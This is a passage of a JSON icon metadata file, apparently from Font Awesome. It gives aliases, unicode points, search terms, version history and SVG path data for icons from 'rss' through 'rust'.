        "path": "M512 96c0 50.2-59.1 125.1-84.6 155c-3.8 4.4-9.4 6.1-14.5 5H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c53 0 96 43 96 96s-43 96-96 96H139.6c8.7-9.9 19.3-22.6 30-36.8c6.3-8.4 12.8-17.6 19-27.2H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-53 0-96-43-96-96s43-96 96-96h39.8c-21-31.5-39.8-67.7-39.8-96c0-53 43-96 96-96s96 43 96 96zM117.1 489.1c-3.8 4.3-7.2 8.1-10.1 11.3l-1.8 2-.2-.2c-6 4.6-14.6 4-20-1.8C59.8 473 0 402.5 0 352c0-53 43-96 96-96s96 43 96 96c0 30-21.1 67-43.5 97.9c-10.7 14.7-21.7 28-30.8 38.5l-.6 .7zM128 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM416 128a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "rss": {
    "aliases": {
      "names": ["feed"],
      "unicodes": {
        "secondary": ["10f09e"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blog", "feed", "journal", "news", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f09e",
    "label": "Rss",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32c229.8 0 416 186.2 416 416c0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96C14.3 96 0 81.7 0 64zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zM32 160c159.1 0 288 128.9 288 288c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32c229.8 0 416 186.2 416 416c0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96C14.3 96 0 81.7 0 64zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zM32 160c159.1 0 288 128.9 288 288c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "ruble-sign": {
    "aliases": {
      "names": ["rouble", "rub", "ruble"],
      "unicodes": {
        "composite": ["20bd"],
        "secondary": ["10f158"]
      }
    },
    "changes": [
      "4.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Ruble Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f158",
    "label": "Ruble Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 32C78.3 32 64 46.3 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V416H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V320H240c79.5 0 144-64.5 144-144s-64.5-144-144-144H96zM240 256H128V96H240c44.2 0 80 35.8 80 80s-35.8 80-80 80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 32C78.3 32 64 46.3 64 64V256H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v32c0 17.7 14.3 32 32 32s32-14.3 32-32V416H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H128V320H240c79.5 0 144-64.5 144-144s-64.5-144-144-144H96zM240 256H128V96H240c44.2 0 80 35.8 80 80s-35.8 80-80 80z"
      }
    },
    "free": ["solid"]
  },
  "rug": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blanket", "carpet", "rug", "textile"]
    },
    "styles": ["solid"],
    "unicode": "e569",
    "label": "Rug",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M24 64H56 80V88v88 80 80 88 24H56 24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V360H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V280H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V200H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V112H24C10.7 112 0 101.3 0 88S10.7 64 24 64zm88 0H528V448H112V64zM640 88c0 13.3-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H584 560V424 336 256 176 88 64h24 32c13.3 0 24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M24 64H56 80V88v88 80 80 88 24H56 24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V360H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V280H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V200H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V112H24C10.7 112 0 101.3 0 88S10.7 64 24 64zm88 0H528V448H112V64zM640 88c0 13.3-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v32h8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8v40h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H584 560V424 336 256 176 88 64h24 32c13.3 0 24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "ruler": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4cf"],
        "secondary": ["10f545"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "design",
        "draft",
        "length",
        "measure",
        "planning",
        "ruler",
        "straight edge",
        "straight ruler"
      ]
    },
    "styles": ["solid"],
    "unicode": "f545",
    "label": "Ruler",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M177.9 494.1c-18.7 18.7-49.1 18.7-67.9 0L17.9 401.9c-18.7-18.7-18.7-49.1 0-67.9l50.7-50.7 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 50.7-50.7c18.7-18.7 49.1-18.7 67.9 0l92.1 92.1c18.7 18.7 18.7 49.1 0 67.9L177.9 494.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M177.9 494.1c-18.7 18.7-49.1 18.7-67.9 0L17.9 401.9c-18.7-18.7-18.7-49.1 0-67.9l50.7-50.7 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 41.4-41.4 48 48c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-48-48 50.7-50.7c18.7-18.7 49.1-18.7 67.9 0l92.1 92.1c18.7 18.7 18.7 49.1 0 67.9L177.9 494.1z"
      }
    },
    "free": ["solid"]
  },
  "ruler-combined": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f546"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "length", "measure", "planning"]
    },
    "styles": ["solid"],
    "unicode": "f546",
    "label": "Ruler Combined",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.2 468.9C2.7 493.1 23.1 512 48 512l96 0 320 0c26.5 0 48-21.5 48-48l0-96c0-26.5-21.5-48-48-48l-48 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-48c0-26.5-21.5-48-48-48L48 0C21.5 0 0 21.5 0 48L0 368l0 96c0 1.7 .1 3.3 .2 4.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.2 468.9C2.7 493.1 23.1 512 48 512l96 0 320 0c26.5 0 48-21.5 48-48l0-96c0-26.5-21.5-48-48-48l-48 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-64-80 0c-8.8 0-16-7.2-16-16s7.2-16 16-16l80 0 0-48c0-26.5-21.5-48-48-48L48 0C21.5 0 0 21.5 0 48L0 368l0 96c0 1.7 .1 3.3 .2 4.9z"
      }
    },
    "free": ["solid"]
  },
  "ruler-horizontal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f547"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "length", "measure", "planning"]
    },
    "styles": ["solid"],
    "unicode": "f547",
    "label": "Ruler Horizontal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 336c0 26.5 21.5 48 48 48l544 0c26.5 0 48-21.5 48-48l0-160c0-26.5-21.5-48-48-48l-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0c-26.5 0-48 21.5-48 48L0 336z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 336c0 26.5 21.5 48 48 48l544 0c26.5 0 48-21.5 48-48l0-160c0-26.5-21.5-48-48-48l-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0 0 80c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-80-64 0c-26.5 0-48 21.5-48 48L0 336z"
      }
    },
    "free": ["solid"]
  },
  "ruler-vertical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f548"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "draft", "length", "measure", "planning"]
    },
    "styles": ["solid"],
    "unicode": "f548",
    "label": "Ruler Vertical",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H208c26.5 0 48 21.5 48 48V96H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H208c26.5 0 48 21.5 48 48V96H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v64H176c-8.8 0-16 7.2-16 16s7.2 16 16 16h80v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48z"
      }
    },
    "free": ["solid"]
  },
  "rupee-sign": {
    "aliases": {
      "names": ["rupee"],
      "unicodes": {
        "composite": ["20a8"],
        "secondary": ["10f156"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Rupee Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f156",
    "label": "Rupee Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256.5 16.4c-.9 6 0 8.7 .4 9.8c.4 1.1 1.4 2.6 4.2 4.9c7.2 5.7 18.7 10 37.9 16.8l1.3 .5c16 5.6 38.7 13.6 55.7 28.1c9.5 8.1 17.9 18.6 23.1 32.3c5.1 13.7 6.1 28.5 3.8 44c-4.2 28.1-20.5 49.3-43.8 60.9c-22.1 11-48.1 12.5-73.2 8l-.2 0 0 0c-9.3-1.8-20.5-5.7-29.3-9c-6-2.3-12.6-4.9-17.7-6.9l0 0c-2.5-1-4.6-1.8-6.3-2.5c-16.5-6.4-24.6-25-18.2-41.4s24.9-24.6 41.4-18.2c2.6 1 5.2 2 7.9 3.1l0 0c4.8 1.9 9.8 3.9 15.4 6c8.8 3.3 15.3 5.4 18.7 6c15.7 2.8 26.7 .8 32.9-2.3c5-2.5 8-6 9.1-13c1-6.9 .2-10.5-.5-12.3c-.6-1.7-1.8-3.6-4.5-5.9c-6.9-5.8-18.2-10.4-36.9-17l-3-1.1c-15.5-5.4-37-13-53.3-25.9c-9.5-7.5-18.3-17.6-23.7-31c-5.5-13.4-6.6-28-4.4-43.2c8.4-57.1 67-78 116.9-68.9c6.9 1.3 27.3 5.8 35.4 8.4c16.9 5.2 26.3 23.2 21.1 40.1s-23.2 26.3-40.1 21.1c-4.7-1.4-22.3-5.5-27.9-6.5c-14.6-2.7-25.8-.4-32.6 3.2c-6.3 3.3-8.9 7.6-9.5 12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256.5 16.4c-.9 6 0 8.7 .4 9.8c.4 1.1 1.4 2.6 4.2 4.9c7.2 5.7 18.7 10 37.9 16.8l1.3 .5c16 5.6 38.7 13.6 55.7 28.1c9.5 8.1 17.9 18.6 23.1 32.3c5.1 13.7 6.1 28.5 3.8 44c-4.2 28.1-20.5 49.3-43.8 60.9c-22.1 11-48.1 12.5-73.2 8l-.2 0 0 0c-9.3-1.8-20.5-5.7-29.3-9c-6-2.3-12.6-4.9-17.7-6.9l0 0c-2.5-1-4.6-1.8-6.3-2.5c-16.5-6.4-24.6-25-18.2-41.4s24.9-24.6 41.4-18.2c2.6 1 5.2 2 7.9 3.1l0 0c4.8 1.9 9.8 3.9 15.4 6c8.8 3.3 15.3 5.4 18.7 6c15.7 2.8 26.7 .8 32.9-2.3c5-2.5 8-6 9.1-13c1-6.9 .2-10.5-.5-12.3c-.6-1.7-1.8-3.6-4.5-5.9c-6.9-5.8-18.2-10.4-36.9-17l-3-1.1c-15.5-5.4-37-13-53.3-25.9c-9.5-7.5-18.3-17.6-23.7-31c-5.5-13.4-6.6-28-4.4-43.2c8.4-57.1 67-78 116.9-68.9c6.9 1.3 27.3 5.8 35.4 8.4c16.9 5.2 26.3 23.2 21.1 40.1s-23.2 26.3-40.1 21.1c-4.7-1.4-22.3-5.5-27.9-6.5c-14.6-2.7-25.8-.4-32.6 3.2c-6.3 3.3-8.9 7.6-9.5 12z"
      }
    },
    "free": ["solid"]
  },
  "rupiah-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["currency"]
    },
    "styles": ["solid"],
    "unicode": "e23d",
    "label": "Rupiah Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256-96h80c61.9 0 112 50.1 112 112s-50.1 112-112 112H352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352 192c0-17.7 14.3-32 32-32zm80 160c26.5 0 48-21.5 48-48s-21.5-48-48-48H352v96h48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256zm256-96h80c61.9 0 112 50.1 112 112s-50.1 112-112 112H352v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V352 192c0-17.7 14.3-32 32-32zm80 160c26.5 0 48-21.5 48-48s-21.5-48-48-48H352v96h48z"
      }
    },
    "free": ["solid"]
  },
  "rust": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07a",
    "label": "Rust",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l2